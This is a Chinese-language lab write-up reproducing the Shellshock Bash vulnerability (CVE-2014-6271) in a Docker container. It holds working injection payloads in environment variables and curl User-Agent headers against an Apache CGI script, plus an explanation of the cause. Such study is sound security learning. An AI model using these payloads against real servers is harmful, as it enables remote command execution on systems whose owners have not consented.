复现过程
用别人做好的docker进行复现
docker search shellshock
docker pull hmlio/vaas-cve-2014-6271
docker run -it -p 80:80 --name test hmlio/vaas-cve-2014-6271 /bin/bash
进入之后先进行本地测试:
root@96803784d9f2:/# test='() { :;};/bin/ls'
root@96803784d9f2:/# export test
root@96803784d9f2:/# bash
bin boot dev etc home lib lib64 media mnt opt proc root run sbin selinux srv sys tmp usr var
root@96803784d9f2:/# exit
测试成功
远程测试:
开启apache2服务器:
service apache2 start
在/usr/lib/cgi-bin/下有stats文件
#!/bin/bash
echo "Content-type: text/html";
echo ""
/bin/cat << EOM
<pre>
EOM
echo `date`
echo `uptime`
#echo "<br />"
#nets=`/bin/netstat -an 2>/dev/null`
#echo "$nets"
#echo "<br />"
#iost=`/usr/bin/iostat 2>/dev/null`
#echo "$iost"
/bin/cat << EOM
</pre>
EOM
访问:
root@VM-0-3-ubuntu:/home/ubuntu# curl -A " () { :;};echo;echo 123;" 127.0.0.1/cgi-bin/stats
123
Content-type: text/html
<pre>
Mon Apr 13 03:26:38 UTC 2020
03:26:38 up 155 days, 20:34, 0 users, load average: 0.00, 0.00, 0.00
</pre>
发现输出123,执行成功
漏洞原理
这里参考的这篇文章,链接
在bash 4.3版本以下,我们可以进行如下操作:
root@96803784d9f2:/usr/lib/cgi-bin# hack(){ echo 'hack';}
root@96803784d9f2:/usr/lib/cgi-bin# hack
hack
root@96803784d9f2:/usr/lib/cgi-bin# bash
root@96803784d9f2:/usr/lib/cgi-bin# hack
bash: hack: command not found
root@96803784d9f2:/usr/lib/cgi-bin#
root@96803784d9f2:/usr/lib/cgi-bin# export -f hack
root@96803784d9f2:/usr/lib/cgi-bin# bash
root@96803784d9f2:/usr/lib/cgi-bin# hack
hack
如果我们定义了一个函数,但是在启动一个bash子进程后,hack函数没有被加载,但是当我们把hack函数加载进环境变量后,bash子进程会重新加载环境变量,包括hack函数
root@96803784d9f2:/usr/lib/cgi-bin# hack1='() { echo "hack1";}'
root@96803784d9f2:/usr/lib/cgi-bin# hack1
bash: hack1: command not found
root@96803784d9f2:/usr/lib/cgi-bin# export hack1
root@96803784d9f2:/usr/lib/cgi-bin# bash
root@96803784d9f2:/usr/lib/cgi-bin# hack1
hack1
不难看出,bash子进程在加载hack1的时候将hack1当成了函数处理
root@96803784d9f2:/usr/lib/cgi-bin# hack2='() { :;};echo "hack2";'
root@96803784d9f2:/usr/lib/cgi-bin# export hack2
root@96803784d9f2:/usr/lib/cgi-bin# bash
hack2
root@96803784d9f2:/usr/lib/cgi-bin#
我们发现bash子进程在加载环境变量的时候将代码执行了
综上所述触发bash漏洞可以归纳如下
产生新的bash
通过环境变量传递
环境变量以() {}这样的形式
所以我们能用一句话验证漏洞
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。
过程中遇到的问题
一开始远程验证的时候,我用的代码是这样的:
curl -A " () { :;};echo 123;" 127.0.0.1/cgi-bin/stats
一直没有成功,最后查看stats文件,发现stats文件的输出和curl的响应输出不一样,最后经过尝试,猜测cgi程序代码中,所有输出前面的是MIME头,包含在http头里面,而cgi会先调用bash将Referer、host、UserAgent、header等作为环境变量进行处理,将原来的MIME头部分替换掉
root@VM-0-3-ubuntu:/home/ubuntu# curl -A " () { :;}" http://49.234.96.57/cgi-bin/stats -I
HTTP/1.1 200 OK
Date: Mon, 13 Apr 2020 04:05:44 GMT
Server: Apache/2.2.22 (Debian)
Vary: Accept-Encoding
Content-Type: text/html
root@VM-0-3-ubuntu:/home/ubuntu# curl -A " () { :;};echo;" http://49.234.96.57/cgi-bin/stats -I
HTTP/1.1 200 OK
Date: Mon, 13 Apr 2020 04:05:52 GMT
Server: Apache/2.2.22 (Debian)
root@VM-0-3-ubuntu:/home/ubuntu# curl -A " () { :;};echo -e 'Content-type: text/ht\n\n';" http://49.234.96.57/cgi-bin/stats -I
HTTP/1.1 200 OK
Date: Mon, 13 Apr 2020 04:07:09 GMT
Server: Apache/2.2.22 (Debian)
Content-Type: text/ht
参考链接:https://www.freebuf.com/news/48331.html
https://www.jianshu.com/p/b94c0ec1867c